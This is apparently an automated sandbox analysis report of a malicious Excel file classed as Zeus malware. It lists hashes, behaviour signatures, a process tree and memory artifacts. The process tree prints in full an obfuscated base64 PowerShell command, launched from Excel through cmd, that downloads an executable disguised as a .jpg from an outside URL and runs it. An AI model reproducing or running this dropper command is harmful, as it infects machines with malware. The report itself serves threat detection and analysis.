Analysis

  • max time kernel
    134s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-12-2024 17:34

General

  • Target

    486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls

  • Size

    60KB

  • MD5

    cb1b432c3c8341c03bd9c068e77b8483

  • SHA1

    90e2fe9ae82c5643bd20729ee048088a38101fcb

  • SHA256

    486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421

  • SHA512

    a08218d7ec69c7b5657c9b4771b5dae36abbd753b8f3360adb6e0b05e1cd0f4ff4a3019690cbd5ac1dacb73137c8e507d0215ee0f0af5530a631b26f68a0ff6f

  • SSDEEP

    1536:cDZ+RwPONXoRjDhIcp0fDlaGGx+cL26nAAXyrrgZ2vGqJZHxMi4ZOyzpGwS:cDZ+RwPONXoRjDhIcp0fDlaGGx+cL26O

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://a.doko.moe/aknxfz.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Zeus
  • Zeus family
  • Blocklisted process makes network request 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\486e3a18e708eec3e9f8d6b0e5adec6e3494be0b3813d3937881b6a626543421.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\SYSTEM32\cMD.exe
      cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAcwBIAHoANABMAFAAeABfAFMARwBiAEYANQBNAGUAQwBIACAAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAHYAYgBoAGUAUQBJAGYAVwA0AGUAagAzAG0AcwBoAFUATQAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAGcANQB4AGQAaQBhAEIAaABUAFoAVgB1ADQAWABXADcAMgBqADkAeABYAGsATwA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwAQQA2ADYANQA1ADgAWQBBADEAXwA5AGsAbgA1AHgAYQBmAC4AZQB4AGUAJwA7AA0ACgBzAEgAegA0AEwAUAB4AF8AUwBHAGIARgA1AE0AZQBDAEgAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AYQBrAG4AeABmAHoALgBqAHAAZwAnACAAJABnADUAeABkAGkAYQBCAGgAVABaAFYAdQA0AFgAVwA3ADIAagA5AHgAWABrAE8AOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAcwBIAHoANABMAFAAeABfAFMARwBiAEYANQBNAGUAQwBIACAAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQB7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAgACQAbABuADQARwB5AGwATwBfAGgAZwBOAHIARQBKAGkAMwB0AEQAdQA5AEEAeABuAEcAegBrAHoANwAzACAALAAgACQAdgBiAGgAZQBRAEkAZgBXADQAZQBqADMAbQBzAGgAVQBNACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAHYAYgBoAGUAUQBJAGYAVwA0AGUAagAzAG0AcwBoAFUATQAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAGcANQB4AGQAaQBhAEIAaABUAFoAVgB1ADQAWABXADcAMgBqADkAeABYAGsATwA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwAQQA2ADYANQA1ADgAWQBBADEAXwA5AGsAbgA1AHgAYQBmAC4AZQB4AGUAJwA7AA0ACgBzAEgAegA0AEwAUAB4AF8AUwBHAGIARgA1AE0AZQBDAEgAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AYQBrAG4AeABmAHoALgBqAHAAZwAnACAAJABnADUAeABkAGkAYQBCAGgAVABaAFYAdQA0AFgAVwA3ADIAagA5AHgAWABrAE8AOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqbupphf.3pg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    cf0e90fc630ff3e62a546f523321b7c7

    SHA1

    2b4808b1f535561fe5e044ad70bb4900d06dbc99

    SHA256

    069f3369c839f65aa2b713287b01f8b569af50c90dbfe4ad14e5bb7c8b901b77

    SHA512

    630d58b7e86da37a3e48af44e1aa1d580cff6d7ccc7969e1021b98a42a5ccbaa920e830e969bd70380c683d6f150bcc6ee9c604454205c38322db9b4d5412de0

  • memory/672-35-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/672-48-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/672-45-0x00000220CB3D0000-0x00000220CB3F2000-memory.dmp

    Filesize

    136KB

  • memory/848-7-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

    Filesize

    64KB

  • memory/848-24-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-0-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

    Filesize

    64KB

  • memory/848-10-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-11-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-14-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp

    Filesize

    64KB

  • memory/848-13-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-12-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-15-0x00007FFF87DF0000-0x00007FFF87E00000-memory.dmp

    Filesize

    64KB

  • memory/848-9-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-8-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-5-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-30-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-31-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-6-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-4-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

    Filesize

    64KB

  • memory/848-2-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

    Filesize

    64KB

  • memory/848-3-0x00007FFF8A4B0000-0x00007FFF8A4C0000-memory.dmp

    Filesize

    64KB

  • memory/848-49-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-50-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp

    Filesize

    4KB

  • memory/848-51-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-52-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-53-0x00007FFFCA430000-0x00007FFFCA625000-memory.dmp

    Filesize

    2.0MB

  • memory/848-1-0x00007FFFCA4CD000-0x00007FFFCA4CE000-memory.dmp

    Filesize

    4KB